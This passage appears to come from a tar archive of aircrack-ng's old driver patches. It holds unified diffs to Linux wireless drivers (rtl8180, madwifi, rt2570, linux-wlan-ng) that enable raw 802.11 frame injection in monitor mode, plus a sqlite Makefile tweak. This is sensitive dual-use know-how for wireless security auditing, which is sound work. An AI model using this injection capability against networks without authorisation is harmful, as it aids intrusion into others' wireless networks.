-0500 @@ -575,6 +575,7 @@ int (*hw_config)(struct net_device *dev, int initial); void (*hw_reset)(struct net_device *dev); void (*hw_shutdown)(struct net_device *dev, int no_disable); + int (*monitor_enable)(struct net_device *dev); int (*reset_port)(struct net_device *dev); void (*schedule_reset)(local_info_t *local); int (*download)(local_info_t *local, aircrack-ng-1.2-rc4/patches/old/rtl8180-0.21.patch0000644000000000000000000000570110761053203017647 0ustar rootrootOnly in .: .r8180_core.o.d diff -ur ../rtl8180-0.21/ieee80211_tx.c ./ieee80211_tx.c --- ../rtl8180-0.21/ieee80211_tx.c 2005-04-12 21:02:17.000000000 +0000 +++ ./ieee80211_tx.c 2005-10-12 17:38:19.000000000 +0000 @@ -577,6 +577,14 @@ spin_lock_irqsave(&ieee->lock,flags); + if (ieee->iw_mode == IW_MODE_MONITOR) { + ieee->func->hard_data_xmit(ieee->dev,skb,0); + dev_kfree_skb_any(skb); + ieee->stats.tx_packets++; + ieee->dev->trans_start = jiffies; + goto exit; + } + if(ieee->queue_stop){ IEEE80211DMESG("EE: IEEE hard_start_xmit invoked when kernel queue should be stopped"); netif_stop_queue(ieee->dev); diff -ur ../rtl8180-0.21/r8180_core.c ./r8180_core.c --- ../rtl8180-0.21/r8180_core.c 2005-04-12 12:39:56.000000000 +0000 +++ ./r8180_core.c 2005-10-12 17:42:25.000000000 +0000 @@ -2204,11 +2204,12 @@ void rtl8180_hard_data_xmit(struct net_device *dev,struct sk_buff *skb,short morefrag) { struct r8180_priv *priv = (struct r8180_priv *)dev->priv; - int mode; + int mode, priority = LOW_PRIORITY; //unsigned long flags; mode = priv->ieee80211->iw_mode; - + if( mode == IW_MODE_MONITOR ) + priority = HI_PRIORITY; /* * This function doesn't require lock because we make @@ -2220,13 +2221,13 @@ //spin_lock_irqsave(&priv->tx_lock,flags); - if (!check_nic_enought_desc(dev, LOW_PRIORITY)){ + if (!check_nic_enought_desc(dev, priority)){ DMESG("Error: no descriptor left by previous TX (avail %d) ", - get_curr_tx_free_desc(dev, LOW_PRIORITY)); + get_curr_tx_free_desc(dev, priority)); ieee80211_r8180_stop_queue(priv->ieee80211); } - rtl8180_tx(dev, (u32*)skb->data, skb->len, LOW_PRIORITY, morefrag,0); - if (!check_nic_enought_desc(dev, LOW_PRIORITY)) + rtl8180_tx(dev, (u32*)skb->data, skb->len, priority, morefrag,0); + if (!check_nic_enought_desc(dev, priority)) ieee80211_r8180_stop_queue(priv->ieee80211); //spin_unlock_irqrestore(&priv->tx_lock,flags); @@ -3411,10 +3412,18 @@ if (priv->ieee80211->iw_mode == IW_MODE_ADHOC) rtl8180_IBSS_create(dev); -/* if (priv->ieee80211->iw_mode == IW_MODE_MONITOR){ + if (priv->ieee80211->iw_mode == IW_MODE_MONITOR) { + priv->retry_rts = 0; + priv->retry_data = 0; + rtl8180_tx_enable(dev); + netif_carrier_on(dev); + if(netif_queue_stopped(dev)) + netif_wake_queue(dev); + else + netif_start_queue(dev); } -*/ + if (priv->ieee80211->iw_mode == IW_MODE_INFRA) { // rtl8180_tx_enable(dev); @@ -3608,8 +3617,7 @@ pio_flags = (unsigned long)pci_resource_flags (pdev, 0); if (!(pio_flags & IORESOURCE_IO)) { - DMESG("%s: region #0 not a PIO resource, aborting", - pdev->slot_name); + DMESG("r8180: region #0 not a PIO resource, aborting"); goto fail; } @@ -3629,8 +3637,7 @@ pmem_flags = pci_resource_flags (pdev, 1); if (!(pmem_flags & IORESOURCE_MEM)) { - DMESG("%s: region #1 not a MMIO resource, aborting", - pdev->slot_name); + DMESG("r8180: region #1 not a MMIO resource, aborting"); goto fail; } aircrack-ng-1.2-rc4/patches/old/ieee80211_inject.patch0000644000000000000000000000153010761053203021002 0ustar rootrootdiff -Naur linux-source-2.6.17-orig/net/ieee80211/ieee80211_tx.c linux-source-2.6.17-rawtx/net/ieee80211/ieee80211_tx.c --- linux-source-2.6.17-orig/net/ieee80211/ieee80211_tx.c 2006-10-13 14:18:10.000000000 +0200 +++ linux-source-2.6.17-rawtx/net/ieee80211/ieee80211_tx.c 2007-04-09 17:07:45.000000000 +0200 @@ -291,6 +291,23 @@ goto success; } + if(ieee->iw_mode == IW_MODE_MONITOR) + { + txb = ieee80211_alloc_txb(1, skb->len, + ieee->tx_headroom, GFP_ATOMIC); + if (unlikely(!txb)) { + printk(KERN_WARNING "%s: Could not allocate TXB\n", + ieee->dev->name); + goto failed; + } + + txb->encrypted = 0; + txb->payload_size = skb->len; + memcpy(skb_put(txb->fragments[0],skb->len), skb->data, skb->len); + + goto success; + } + ether_type = ntohs(((struct ethhdr *)skb->data)->h_proto); crypt = ieee->crypt[ieee->tx_keyidx]; aircrack-ng-1.2-rc4/patches/old/madwifi-ng-r1457-1473_disable_retry_raw.patch0000644000000000000000000000710710761053203025130 0ustar rootrootdiff -Nurb madwifi-ng-r1457/ath/if_ath.c patched_madwifi-ng-r1457/ath/if_ath.c --- madwifi-ng-r1457/ath/if_ath.c 2006-02-25 00:24:30.000000000 +0100 +++ patched_madwifi-ng-r1457/ath/if_ath.c 2006-03-01 23:23:32.000000000 +0100 @@ -2166,6 +2166,7 @@ struct ath_softc *sc = dev->priv; struct ath_hal *ah = sc->sc_ah; struct ieee80211_phy_params *ph = (struct ieee80211_phy_params *) (skb->cb + sizeof(struct ieee80211_cb)); + struct ieee80211com *ic = &sc->sc_ic; const HAL_RATE_TABLE *rt; int pktlen; int hdrlen; @@ -2180,9 +2181,12 @@ struct ieee80211_frame *wh; wh = (struct ieee80211_frame *) skb->data; - try0 = ATH_TXMAXTRY; + try0 = (ic->ic_opmode == IEEE80211_M_MONITOR) ? 1 : ATH_TXMAXTRY; + /* + * The retry value has to be patched to 1 when injecting, + * otherwise the card waits for acknowledges... + */ rt = sc->sc_currates; - txrate = dot11_to_ratecode(sc, rt, ph->rate0); + txrate = dot11_to_ratecode(sc, rt, (ic->ic_opmode == IEEE80211_M_MONITOR) ? (ic->inject_rate / 500) : ph->rate0); power = ph->power > 60 ? 60 : ph->power; hdrlen = ieee80211_anyhdrsize(wh); pktlen = skb->len + IEEE80211_CRC_LEN; diff -Nurb madwifi-ng-r1457/net80211/ieee80211_var.h patched_madwifi-ng-r1457/net80211/ieee80211_var.h --- madwifi-ng-r1457/net80211/ieee80211_var.h 2006-02-06 20:58:08.000000000 +0100 +++ patched_madwifi-ng-r1457/net80211/ieee80211_var.h 2006-03-01 23:24:38.000000000 +0100 @@ -138,6 +138,7 @@ u_int16_t ic_txpowlimit; /* global tx power limit */ u_int16_t ic_uapsdmaxtriggers; /* max triggers that could arrive */ u_int8_t ic_coverageclass; /* coverage class */ + int inject_rate; /* injection rate in Monitor mode */ /* * Channel state: diff -Nurb madwifi-ng-r1457/net80211/ieee80211_wireless.c patched_madwifi-ng-r1457/net80211/ieee80211_wireless.c --- madwifi-ng-r1457/net80211/ieee80211_wireless.c 2006-02-19 18:35:54.000000000 +0100 +++ patched_madwifi-ng-r1457/net80211/ieee80211_wireless.c 2006-03-01 23:30:34.000000000 +0100 @@ -346,6 +346,18 @@ struct ifmediareq imr; int rate, retv; + if (ic->ic_opmode == IEEE80211_M_MONITOR) { + rate = rrq->value / 1000; + if (rate != 1000 && rate != 2000 && rate != 5500 && + rate != 11000 && rate != 6000 && rate != 9000 && + rate != 12000 && rate != 18000 && rate != 24000 && + rate != 36000 && rate != 48000 && rate != 54000 ) + return -EINVAL; + printk(KERN_DEBUG "setting xmit rate to %d\n", rate); + ic->inject_rate = rate; + return 0; + } + if (vap->iv_media.ifm_cur == NULL) return -EINVAL; memset(&ifr, 0, sizeof(ifr)); @@ -379,9 +391,15 @@ struct iw_param *rrq, char *extra) { struct ieee80211vap *vap = dev->priv; + struct ieee80211com *ic = vap->iv_ic; struct ifmediareq imr; int rate; + if (ic->ic_opmode == IEEE80211_M_MONITOR) { + rrq->value = ic->inject_rate * 1000; + return 0; + } + memset(&imr, 0, sizeof(imr)); vap->iv_media.ifm_status(vap->iv_dev, &imr); @@ -1051,6 +1069,7 @@ __u32 *mode, char *extra) { struct ieee80211vap *vap = dev->priv; + struct ieee80211com *ic = vap->iv_ic; struct ifmediareq imr; int valid = 0; @@ -1060,8 +1079,10 @@ if (imr.ifm_active & IFM_IEEE80211_HOSTAP) valid = (*mode == IW_MODE_MASTER); #if WIRELESS_EXT >= 15 - else if (imr.ifm_active & IFM_IEEE80211_MONITOR) + else if (imr.ifm_active & IFM_IEEE80211_MONITOR) { valid = (*mode == IW_MODE_MONITOR); + ic->inject_rate = 5500; /* default = 5.5M CCK */ + } #endif else if (imr.ifm_active & IFM_IEEE80211_ADHOC) valid = (*mode == IW_MODE_ADHOC); aircrack-ng-1.2-rc4/patches/old/madwifi-ng-r1983.patch0000644000000000000000000000174310761053203020757 0ustar rootrootdiff -ur madwifi-r1983/ath/if_ath.c patched-madwifi-r1983/ath/if_ath.c --- madwifi-r1983/ath/if_ath.c 2007-01-21 00:09:36.140625000 +0100 +++ patched-madwifi-r1983/ath/if_ath.c 2007-01-21 00:11:01.984375000 +0100 @@ -2299,6 +2299,7 @@ ath_tx_startraw(struct net_device *dev, struct ath_buf *bf, struct sk_buff *skb) { struct ath_softc *sc = dev->priv; + struct ieee80211com *ic = &sc->sc_ic; struct ath_hal *ah = sc->sc_ah; struct ieee80211_phy_params *ph = (struct ieee80211_phy_params *) (skb->cb + sizeof(struct ieee80211_cb)); const HAL_RATE_TABLE *rt; @@ -2315,7 +2316,11 @@ struct ieee80211_frame *wh; wh = (struct ieee80211_frame *) skb->data; - try0 = ph->try0; + try0 = (ic->ic_opmode == IEEE80211_M_MONITOR) ? 1 : ph->try0; + /* + * The retry value has to be patched to 1 when injecting, + * otherwise the sequence number will be overwritten + */ rt = sc->sc_currates; txrate = dot11_to_ratecode(sc, rt, ph->rate0); power = ph->power > 60 ? 60 : ph->power; aircrack-ng-1.2-rc4/patches/old/rt2570-cvs-2005112305.patch0000644000000000000000000000361510761053203020745 0ustar rootrootdiff -ur ../rt2570-cvs-2005112305/Module/rtusb_data.c ./Module/rtusb_data.c --- ../rt2570-cvs-2005112305/Module/rtusb_data.c 2005-11-04 23:53:18.000000000 +0100 +++ ./Module/rtusb_data.c 2005-11-23 14:44:16.000000000 +0100 @@ -1711,6 +1711,9 @@ struct sk_buff *skb; if ((skb = __dev_alloc_skb(2048, GFP_DMA|GFP_ATOMIC)) != NULL) { + if (pAdapter->PortCfg.MallowRFMONTx == TRUE) + goto rfmontx_80211_receive; + // setup the wlan-ng prismheader if (skb_headroom(skb) < sizeof(wlan_ng_prism2_header)) @@ -1762,6 +1765,8 @@ // end prismheader setup + rfmontx_80211_receive: + skb->dev = pAdapter->net; memcpy(skb_put(skb, pRxD->DataByteCnt-4), pData, pRxD->DataByteCnt-4); skb->mac.raw = skb->data; diff -ur ../rt2570-cvs-2005112305/Module/rtusb_info.c ./Module/rtusb_info.c --- ../rt2570-cvs-2005112305/Module/rtusb_info.c 2005-11-20 22:54:28.000000000 +0100 +++ ./Module/rtusb_info.c 2005-11-23 14:51:47.000000000 +0100 @@ -277,7 +277,10 @@ pAdapter->PortCfg.BssType=BSS_MONITOR; RTUSBEnqueueInternalCmd(pAdapter, RT_OID_LINK_DOWN); pAdapter->bConfigChanged = TRUE; - pAdapter->net->type = 802; // ARPHRD_IEEE80211_PRISM + if (pAdapter->PortCfg.MallowRFMONTx == TRUE) + pAdapter->net->type = 801; // ARPHRD_IEEE80211 + else + pAdapter->net->type = 802; // ARPHRD_IEEE80211_PRISM RTUSBWriteMACRegister(pAdapter, TXRX_CSR2, 0x4e); break; default: @@ -1132,9 +1135,11 @@ { case 1: pAdapter->PortCfg.MallowRFMONTx = TRUE; + pAdapter->net->type = 801; // ARPHRD_IEEE80211 break; case 0: pAdapter->PortCfg.MallowRFMONTx = FALSE; + pAdapter->net->type = 802; // ARPHRD_IEEE80211_PRISM break; default: return -EOPNOTSUPP; aircrack-ng-1.2-rc4/patches/old/madwifi-cvs-20051025.patch0000644000000000000000000001112510761053203021251 0ustar rootrootdiff -ur ../madwifi-cvs-20051025/Makefile.inc ./Makefile.inc --- ../madwifi-cvs-20051025/Makefile.inc 2005-10-18 06:27:01.000000000 +0200 +++ ./Makefile.inc 2005-10-25 15:13:24.000000000 +0200 @@ -191,7 +191,7 @@ # #ATH_RATE=$(shell find ath_rate/ -maxdepth 1 ! -name CVS ! -name ath_rate/ -type d) ifeq ($(ATH_RATE),) -ATH_RATE=ath_rate/sample +ATH_RATE=ath_rate/onoe endif INCS= -include ${obj}/${DEPTH}/include/compat.h -I${obj}/${DEPTH}/include Only in .: Makefile.inc.orig diff -ur ../madwifi-cvs-20051025/ath/if_ath.c ./ath/if_ath.c --- ../madwifi-cvs-20051025/ath/if_ath.c 2005-10-19 06:27:51.000000000 +0200 +++ ./ath/if_ath.c 2005-10-25 15:13:24.000000000 +0200 @@ -1436,7 +1436,7 @@ rt = sc->sc_currates; KASSERT(rt != NULL, ("no rate table, mode %u", sc->sc_curmode)); flags = HAL_TXDESC_INTREQ | HAL_TXDESC_CLRDMASK; - try0 = ATH_TXMAXTRY; + try0 = (ic->ic_opmode == IEEE80211_M_MONITOR) ? 1 : ATH_TXMAXTRY; dot11Rate = 0; ctsrate = 0; ctsduration = 0; @@ -1501,6 +1501,13 @@ } } + if (dot11Rate == 0 && ic->ic_opmode == IEEE80211_M_MONITOR) { + int index = sc->sc_rixmap[ic->inject_rate / 500]; + if (index >= 0 && index < rt->rateCount) { + txrate = rt->info[index].rateCode; + } + } + wh = (struct ieee80211_frame *) skb->data; pktlen = skb->len + IEEE80211_CRC_LEN; hdrlen = sizeof(struct ieee80211_frame); Only in ./ath: if_ath.c.orig diff -ur ../madwifi-cvs-20051025/ath/if_ath_pci.c ./ath/if_ath_pci.c --- ../madwifi-cvs-20051025/ath/if_ath_pci.c 2005-07-11 15:23:53.000000000 +0200 +++ ./ath/if_ath_pci.c 2005-10-25 15:15:18.000000000 +0200 @@ -100,12 +100,16 @@ { 0xa727, 0x0013, PCI_ANY_ID, PCI_ANY_ID }, /* 3com */ { 0x10b7, 0x0013, PCI_ANY_ID, PCI_ANY_ID }, /* 3com 3CRDAG675 */ { 0x168c, 0x1014, PCI_ANY_ID, PCI_ANY_ID }, /* IBM minipci 5212 */ + { 0x168c, 0x101a, PCI_ANY_ID, PCI_ANY_ID }, /* some Griffin-Lite */ { 0x168c, 0x0015, PCI_ANY_ID, PCI_ANY_ID }, { 0x168c, 0x0016, PCI_ANY_ID, PCI_ANY_ID }, { 0x168c, 0x0017, PCI_ANY_ID, PCI_ANY_ID }, { 0x168c, 0x0018, PCI_ANY_ID, PCI_ANY_ID }, { 0x168c, 0x0019, PCI_ANY_ID, PCI_ANY_ID }, { 0x168c, 0x001a, PCI_ANY_ID, PCI_ANY_ID }, + { 0x168c, 0x001b, PCI_ANY_ID, PCI_ANY_ID }, + { 0x168c, 0x001c, PCI_ANY_ID, PCI_ANY_ID }, /* PCI Express 5424 */ + { 0x168c, 0x001d, PCI_ANY_ID, PCI_ANY_ID }, /* PCI Express ??? */ { 0 } }; diff -ur ../madwifi-cvs-20051025/net80211/ieee80211_crypto.c ./net80211/ieee80211_crypto.c --- ../madwifi-cvs-20051025/net80211/ieee80211_crypto.c 2005-07-12 13:53:38.000000000 +0200 +++ ./net80211/ieee80211_crypto.c 2005-10-25 15:13:24.000000000 +0200 @@ -299,6 +299,10 @@ oflags = key->wk_flags; flags &= IEEE80211_KEY_COMMON; + + if (cipher == IEEE80211_CIPHER_WEP) + flags |= IEEE80211_KEY_SWCRYPT; + /* * If the hardware does not support the cipher then * fallback to a host-based implementation. diff -ur ../madwifi-cvs-20051025/net80211/ieee80211_var.h ./net80211/ieee80211_var.h --- ../madwifi-cvs-20051025/net80211/ieee80211_var.h 2005-10-18 06:27:01.000000000 +0200 +++ ./net80211/ieee80211_var.h 2005-10-25 15:13:24.000000000 +0200 @@ -212,6 +212,8 @@ struct net_device *ic_wdsdev[IEEE80211_WDS_MAXNODES]; /* only wds traffic is allowed */ int ic_wdsonly; + + int inject_rate; /* injection rate in Monitor mode */ }; #define IEEE80211_ADDR_EQ(a1,a2) (memcmp(a1,a2,IEEE80211_ADDR_LEN) == 0) Only in ./net80211: ieee80211_var.h.orig diff -ur ../madwifi-cvs-20051025/net80211/ieee80211_wireless.c ./net80211/ieee80211_wireless.c --- ../madwifi-cvs-20051025/net80211/ieee80211_wireless.c 2005-10-18 06:27:01.000000000 +0200 +++ ./net80211/ieee80211_wireless.c 2005-10-25 15:13:24.000000000 +0200 @@ -476,6 +476,18 @@ struct ifreq ifr; int rate; + if (ic->ic_opmode == IEEE80211_M_MONITOR) { + rate = rrq->value / 1000; + if (rate != 1000 && rate != 2000 && rate != 5500 && + rate != 11000 && rate != 6000 && rate != 9000 && + rate != 12000 && rate != 18000 && rate != 24000 && + rate != 36000 && rate != 48000 && rate != 54000 ) + return -EINVAL; + printk(KERN_DEBUG "setting xmit rate to %d\n", rate); + ic->inject_rate = rate; + return 0; + } + if (!ic->ic_media.ifm_cur) return -EINVAL; memset(&ifr, 0, sizeof(ifr)); @@ -502,6 +514,11 @@ struct ifmediareq imr; int rate; + if (ic->ic_opmode == IEEE80211_M_MONITOR) { + rrq->value = ic->inject_rate * 1000; + return 0; + } + memset(&imr, 0, sizeof(imr)); (*ic->ic_media.ifm_status)(ic->ic_dev, &imr); @@ -942,6 +959,7 @@ #if WIRELESS_EXT >= 15 case IW_MODE_MONITOR: ifr.ifr_media |= IFM_IEEE80211_MONITOR; + ic->inject_rate = 5500; /* default = 5.5M CCK */ break; #endif default: aircrack-ng-1.2-rc4/patches/old/madwifi-ng-r1545.patch0000644000000000000000000000175710761053203020756 0ustar rootrootdiff -ur madwifi-ng-r1545/ath/if_ath.c patched_madwifi-ng-r1545/ath/if_ath.c --- madwifi-ng-r1545/ath/if_ath.c 2006-05-05 22:20:22.000000000 +0200 +++ patched_madwifi-ng-r1545/ath/if_ath.c 2006-05-10 19:02:00.000000000 +0200 @@ -2246,6 +2246,7 @@ ath_tx_startraw(struct net_device *dev, struct ath_buf *bf, struct sk_buff *skb) { struct ath_softc *sc = dev->priv; + struct ieee80211com *ic = &sc->sc_ic; struct ath_hal *ah = sc->sc_ah; struct ieee80211_phy_params *ph = (struct ieee80211_phy_params *) (skb->cb + sizeof(struct ieee80211_cb)); const HAL_RATE_TABLE *rt; @@ -2262,7 +2263,11 @@ struct ieee80211_frame *wh; wh = (struct ieee80211_frame *) skb->data; - try0 = ph->try0; + try0 = (ic->ic_opmode == IEEE80211_M_MONITOR) ? 1 : ph->try0; + /* + * The retry value has to be patched to 1 when injecting, + * otherwise the sequence number will be overwritten + */ rt = sc->sc_currates; txrate = dot11_to_ratecode(sc, rt, ph->rate0); power = ph->power > 60 ? 60 : ph->power; aircrack-ng-1.2-rc4/patches/old/sqlite-3.5.1-lib_cygwin.diff0000644000000000000000000000115210761053203022043 0ustar rootroot--- Makefile.ori 2007-10-08 22:46:20.343750000 +0200 +++ Makefile 2007-10-08 22:49:01.953125000 +0200 @@ -726,11 +726,10 @@ mkdir -p doc mv $(DOC) doc -install: sqlite3 libsqlite3.la sqlite3.h ${HAVE_TCL:1=tcl_install} +install: libsqlite3.la sqlite3.h $(INSTALL) -d $(DESTDIR)$(libdir) $(LTINSTALL) libsqlite3.la $(DESTDIR)$(libdir) $(INSTALL) -d $(DESTDIR)$(exec_prefix)/bin - $(LTINSTALL) sqlite3 $(DESTDIR)$(exec_prefix)/bin $(INSTALL) -d $(DESTDIR)$(prefix)/include $(INSTALL) -m 0644 sqlite3.h $(DESTDIR)$(prefix)/include $(INSTALL) -m 0644 $(TOP)/src/sqlite3ext.h $(DESTDIR)$(prefix)/include aircrack-ng-1.2-rc4/patches/old/wlanng-0.2.1-pre26.patch0000644000000000000000000002511710761053203021030 0ustar rootrootdiff -ur linux-wlan-ng-0.2.1-pre26-orig/src/p80211/p80211netdev.c linux-wlan-ng-0.2.1-pre26/src/p80211/p80211netdev.c --- linux-wlan-ng-0.2.1-pre26-orig/src/p80211/p80211netdev.c 2005-01-11 18:43:54.000000000 +0100 +++ linux-wlan-ng-0.2.1-pre26/src/p80211/p80211netdev.c 2005-03-14 13:58:11.000000000 +0100 @@ -525,7 +525,7 @@ * and return success . * TODO: we need a saner way to handle this */ - if(skb->protocol != ETH_P_80211_RAW) { + if(skb->protocol != htons(ETH_P_80211_RAW)) { p80211netdev_start_queue(wlandev); WLAN_LOG_NOTICE( "Tx attempt prior to association, frame dropped.\n"); @@ -537,7 +537,7 @@ } /* Check for raw transmits */ - if(skb->protocol == ETH_P_80211_RAW) { + if(skb->protocol == htons(ETH_P_80211_RAW)) { if (!capable(CAP_NET_ADMIN)) { return(-EPERM); } @@ -965,8 +965,9 @@ dev->set_mac_address = p80211knetdev_set_mac_address; #endif #ifdef HAVE_TX_TIMEOUT - dev->tx_timeout = &p80211knetdev_tx_timeout; - dev->watchdog_timeo = (wlan_watchdog * HZ) / 1000; +// KoreK: still not implemented +// dev->tx_timeout = &p80211knetdev_tx_timeout; +// dev->watchdog_timeo = (wlan_watchdog * HZ) / 1000; #endif } diff -ur linux-wlan-ng-0.2.1-pre26-orig/src/prism2/driver/Makefile linux-wlan-ng-0.2.1-pre26/src/prism2/driver/Makefile --- linux-wlan-ng-0.2.1-pre26-orig/src/prism2/driver/Makefile 2005-01-25 02:41:44.000000000 +0100 +++ linux-wlan-ng-0.2.1-pre26/src/prism2/driver/Makefile 2005-03-14 13:58:11.000000000 +0100 @@ -88,7 +88,7 @@ MODVERDIR=$(WLAN_SRC)/.tmp_versions modules else # kbuild 2.4 - $(MAKE) -C $(LINUX_SRC) SUBDIRS=$(PWD) WLAN_SRC=$(PWD) \ + $(MAKE) -C $(LINUX_SRC) SUBDIRS=$(PWD) WLAN_SRC=$(WLAN_SRC) \ modules endif # kbuild switch diff -ur linux-wlan-ng-0.2.1-pre26-orig/src/prism2/driver/hfa384x.c linux-wlan-ng-0.2.1-pre26/src/prism2/driver/hfa384x.c --- linux-wlan-ng-0.2.1-pre26-orig/src/prism2/driver/hfa384x.c 2005-01-25 01:38:50.000000000 +0100 +++ linux-wlan-ng-0.2.1-pre26/src/prism2/driver/hfa384x.c 2005-03-14 15:21:02.000000000 +0100 @@ -1941,8 +1941,14 @@ DBFENTER; - cmd.cmd = HFA384x_CMD_CMDCODE_SET(HFA384x_CMDCODE_MONITOR) | - HFA384x_CMD_AINFO_SET(enable); + if (enable == HFA384x_MONITOR_ENABLE) { + // KoreK: get into test mode 0x0a + cmd.cmd = HFA384x_CMD_CMDCODE_SET(HFA384x_CMDCODE_MONITOR) | + HFA384x_CMD_AINFO_SET(0x0a); + } else { + cmd.cmd = HFA384x_CMD_CMDCODE_SET(HFA384x_CMDCODE_MONITOR) | + HFA384x_CMD_AINFO_SET(enable); + } cmd.parm0 = 0; cmd.parm1 = 0; cmd.parm2 = 0; @@ -3178,13 +3184,26 @@ HFA384x_TX_TXEX_SET(0) | HFA384x_TX_TXOK_SET(0); #endif - /* if we're using host WEP, increase size by IV+ICV */ - if (p80211_wep->data) { - txdesc.data_len = host2hfa384x_16(skb->len+8); - // txdesc.tx_control |= HFA384x_TX_NOENCRYPT_SET(1); - } else { - txdesc.data_len = host2hfa384x_16(skb->len); - } + if (skb->protocol != htons(ETH_P_80211_RAW)) { + /* if we're using host WEP, increase size by IV+ICV */ + if (p80211_wep->data) { + txdesc.data_len = host2hfa384x_16(skb->len+8); + // txdesc.tx_control |= HFA384x_TX_NOENCRYPT_SET(1); + } else { + txdesc.data_len = host2hfa384x_16(skb->len); + } + } else { + /* KoreK: raw injection (monitor mode): pull the rest of + the header and ssanity check on txdesc.data_len */ + memcpy(&(txdesc.data_len), skb->data, 16); + skb_pull(skb,16); + if (txdesc.data_len != host2hfa384x_16(skb->len)) { + printk(KERN_DEBUG "mismatch frame_len, drop frame\n"); + return 0; + } + + txdesc.tx_control |= HFA384x_TX_RETRYSTRAT_SET(1); + } txdesc.tx_control = host2hfa384x_16(txdesc.tx_control); /* copy the header over to the txdesc */ @@ -3207,7 +3226,7 @@ spin_lock(&hw->cmdlock); /* Copy descriptor+payload to FID */ - if (p80211_wep->data) { + if (p80211_wep->data && (skb->protocol != htons(ETH_P_80211_RAW))) { result = hfa384x_copy_to_bap4(hw, HFA384x_BAP_PROC, fid, 0, &txdesc, sizeof(txdesc), p80211_wep->iv, sizeof(p80211_wep->iv), @@ -3657,6 +3676,16 @@ switch( HFA384x_RXSTATUS_MACPORT_GET(rxdesc.status) ) { case 0: + /* KoreK: this testmode uses macport 0 */ + if ((wlandev->netdev->type == ARPHRD_IEEE80211) || + (wlandev->netdev->type == ARPHRD_IEEE80211_PRISM)) { + if ( ! HFA384x_RXSTATUS_ISFCSERR(rxdesc.status) ) { + hfa384x_int_rxmonitor( wlandev, rxfid, &rxdesc); + } else { + WLAN_LOG_DEBUG(3,"Received monitor frame: FCSerr set\n"); + } + goto done; + } fc = ieee2host16(rxdesc.frame_control); diff -ur linux-wlan-ng-0.2.1-pre26-orig/src/prism2/driver/hfa384x_usb.c linux-wlan-ng-0.2.1-pre26/src/prism2/driver/hfa384x_usb.c --- linux-wlan-ng-0.2.1-pre26-orig/src/prism2/driver/hfa384x_usb.c 2005-01-17 17:24:40.000000000 +0100 +++ linux-wlan-ng-0.2.1-pre26/src/prism2/driver/hfa384x_usb.c 2005-03-14 15:27:57.000000000 +0100 @@ -1143,8 +1143,14 @@ DBFENTER; - cmd.cmd = HFA384x_CMD_CMDCODE_SET(HFA384x_CMDCODE_MONITOR) | - HFA384x_CMD_AINFO_SET(enable); + if (enable == HFA384x_MONITOR_ENABLE) { + // KoreK: get into test mode 0x0a + cmd.cmd = HFA384x_CMD_CMDCODE_SET(HFA384x_CMDCODE_MONITOR) | + HFA384x_CMD_AINFO_SET(0x0a); + } else { + cmd.cmd = HFA384x_CMD_CMDCODE_SET(HFA384x_CMDCODE_MONITOR) | + HFA384x_CMD_AINFO_SET(enable); + } cmd.parm0 = 0; cmd.parm1 = 0; cmd.parm2 = 0; @@ -3258,37 +3264,59 @@ HFA384x_TX_MACPORT_SET(0) | HFA384x_TX_STRUCTYPE_SET(1) | HFA384x_TX_TXEX_SET(0) | HFA384x_TX_TXOK_SET(0); #endif - hw->txbuff.txfrm.desc.tx_control = - host2hfa384x_16(hw->txbuff.txfrm.desc.tx_control); - /* copy the header over to the txdesc */ - memcpy(&(hw->txbuff.txfrm.desc.frame_control), p80211_hdr, sizeof(p80211_hdr_t)); + if (skb->protocol != htons(ETH_P_80211_RAW)) { + hw->txbuff.txfrm.desc.tx_control = + host2hfa384x_16(hw->txbuff.txfrm.desc.tx_control); + + /* copy the header over to the txdesc */ + memcpy(&(hw->txbuff.txfrm.desc.frame_control), p80211_hdr, + sizeof(p80211_hdr_t)); + + /* if we're using host WEP, increase size by IV+ICV */ + if (p80211_wep->data) { + hw->txbuff.txfrm.desc.data_len = host2hfa384x_16(skb->len+8); + // hw->txbuff.txfrm.desc.tx_control |= HFA384x_TX_NOENCRYPT_SET(1); + usbpktlen+=8; + } else { + hw->txbuff.txfrm.desc.data_len = host2hfa384x_16(skb->len); + } + } else { + /* KoreK: raw injection (monitor mode): pull the rest of + the header and ssanity check on txdesc.data_len */ + memcpy(&(hw->txbuff.txfrm.desc.data_len), skb->data, 16); + skb_pull(skb,16); + if (hw->txbuff.txfrm.desc.data_len != host2hfa384x_16(skb->len)) { + printk(KERN_DEBUG "mismatch frame_len, drop frame\n"); + return 0; + } - /* if we're using host WEP, increase size by IV+ICV */ - if (p80211_wep->data) { - hw->txbuff.txfrm.desc.data_len = host2hfa384x_16(skb->len+8); - // hw->txbuff.txfrm.desc.tx_control |= HFA384x_TX_NOENCRYPT_SET(1); - usbpktlen+=8; - } else { - hw->txbuff.txfrm.desc.data_len = host2hfa384x_16(skb->len); + hw->txbuff.txfrm.desc.tx_control |= HFA384x_TX_RETRYSTRAT_SET(1); + hw->txbuff.txfrm.desc.tx_control = + host2hfa384x_16(hw->txbuff.txfrm.desc.tx_control); + + /* copy the header over to the txdesc */ + memcpy(&(hw->txbuff.txfrm.desc.frame_control), p80211_hdr, + sizeof(p80211_hdr_t)); } usbpktlen += skb->len; /* copy over the WEP IV if we are using host WEP */ ptr = hw->txbuff.txfrm.data; - if (p80211_wep->data) { + if (p80211_wep->data && skb->protocol != htons(ETH_P_80211_RAW)) { memcpy(ptr, p80211_wep->iv, sizeof(p80211_wep->iv)); ptr+= sizeof(p80211_wep->iv); memcpy(ptr, p80211_wep->data, skb->len); } else { memcpy(ptr, skb->data, skb->len); } + /* copy over the packet data */ ptr+= skb->len; /* copy over the WEP ICV if we are using host WEP */ - if (p80211_wep->data) { + if (p80211_wep->data && skb->protocol != htons(ETH_P_80211_RAW)) { memcpy(ptr, p80211_wep->icv, sizeof(p80211_wep->icv)); } @@ -4105,6 +4133,17 @@ switch( HFA384x_RXSTATUS_MACPORT_GET(usbin->rxfrm.desc.status)) { case 0: + /* KoreK: this testmode uses macport 0 */ + if ((wlandev->netdev->type == ARPHRD_IEEE80211) || + (wlandev->netdev->type == ARPHRD_IEEE80211_PRISM)) { + if ( ! HFA384x_RXSTATUS_ISFCSERR(usbin->rxfrm.desc.status) ) { + hfa384x_int_rxmonitor(wlandev, &usbin->rxfrm); + } else { + WLAN_LOG_DEBUG(3,"Received monitor frame: FCSerr set\n"); + } + goto done; + } + w_hdr = (p80211_hdr_t *) &(usbin->rxfrm.desc.frame_control); fc = ieee2host16(usbin->rxfrm.desc.frame_control); diff -ur linux-wlan-ng-0.2.1-pre26-orig/src/prism2/driver/prism2mgmt.c linux-wlan-ng-0.2.1-pre26/src/prism2/driver/prism2mgmt.c --- 